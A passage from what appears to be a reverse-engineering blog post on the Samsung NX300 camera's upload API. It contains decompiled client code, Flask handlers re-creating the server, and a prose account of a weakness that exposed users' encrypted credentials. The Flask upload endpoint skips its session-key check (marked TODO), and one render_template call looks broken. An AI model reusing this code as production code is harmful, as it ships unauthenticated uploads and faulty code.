        if (strstr(gWeb.file_path,"JPG") || strstr(gWeb.file_path, "MP4"))
            WebFree(file_buffer_ptr);
        WebSocketClose(sock_idx);
    }
}

bool WebMakeUploadingData(char *out_http_request,char **file_buffer_ptr,int *file_size_ptr,ulong picType) {
    request = WebMalloc(512);
    if (strstr(gWeb.file_path,"JPG")) {
        /* scale down or send original image */
        if (picType == 0) {
            int megapixels = 2;
            if (strcmp(gWeb.site, "facebook") == 0)
                megapixels = 1;
            NASLWifi_jpegResizeInMemory(gWeb.file_path,megapixels,file_buffer_ptr,file_size_ptr);
        } else
            NPL_GetFileBuffer(gWeb.file_path,file_buffer_ptr,file_size_ptr);
    } else if (strstr(gWeb.file_path,"MP4")) {
        NPL_GetFileBuffer(gWeb.file_path,file_buffer_ptr,file_size_ptr);
    }
    WebString_Add_fmt(request,"%s%s%s%s","PUT /",gWeb.ResourceID," HTTP/1.1","\r\n");
    if (strstr(gWeb.file_path,"JPG")) {
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    } else if (strstr(gWeb.file_path,"MP4")) {
        /* copy-paste-fail? should be video... */
        WebString_Add_fmt(request,"%s%s","Content-Type: image/jpeg","\r\n");
    }
    WebString_Add_fmt(request,"%s%d%s","Content-Length: ",*file_size_ptr,"\r\n");
    WebString_Add_fmt(request,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
    WebString_Add_fmt(request,"%s%d/%d%s","Content-Range: bytes 0-",*file_size_ptr - 1,
            *file_size_ptr,"\r\n");
    WebString_Add_fmt(request,"%s%s%s","Host: ",gWeb.HostAddr,"\r\n\r\n");
    strcpy(out_http_request,request);
}

The actual upload function WebUploadingData() is operating in a straight-forward way, it will send the request buffer and the file buffer, and check for a HTTP 200 OK response or for the presence of ErrCode and ErrSubCode.

Writing an upload handler

We need to implement a /<site>/photo handler that returns an (arbitrary) upload path and a PUT handler that will process files on that path.

The upload path will be served using this XML (the hostname is hardcoded because we already had to hijack the snsgw hostname anyway):

<Response HostAddr="snsgw.samsungmobile.com:80" ResourceID="upload/{{ sessionkey }}/{{ filename }}" />

Then we have the two API endpoints:

@app.route('/<string:site>/photo',methods = ['POST'])
def photo(site):
    xml = ET.fromstring(request.get_data())
    # TODO: check session key
    sessionkey = xml.attrib["SessionKey"]
    photo = xml.find("Photo")
    filename = photo.find("File").attrib["Name"]
    # we just pass the sessionkey into the upload URL
    return render_template('response-upload.xml', sessionkey, filename)

@app.route('/upload/<string:sessionkey>/<string:filename>', methods = ['PUT'])
def upload(sessionkey, filename):
    d = request.get_data()
    # TODO: check session key
    store = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(sessionkey))
    os.makedirs(store, exist_ok = True)
    fn = os.path.join(store, secure_filename(filename))
    with open(fn, "wb") as f:
        f.write(d)
    return "Success!"

Conclusion

Samsung implemented this service back in 2009, when mandatory SSL (or TLS) wasn't a thing yet. They showed intent of properly securing users' credentials by applying state-of-the-art symmetric and asymmetric encryption instead. However, the insecure (commented out?) random key generation algorithm was not suitable for the task, and even if it were, the secret key was provided as part of the message anyway. A passive attacker listening on the traffic between Samsung cameras and their API servers was able to obtain the AES key and thus decrypt the user credentials.

In this post, we have analyzed the client-side code of the NX300 camera, and re-created the APIs as part of the samsung-nx-emailservice project.


Discuss on Mastodon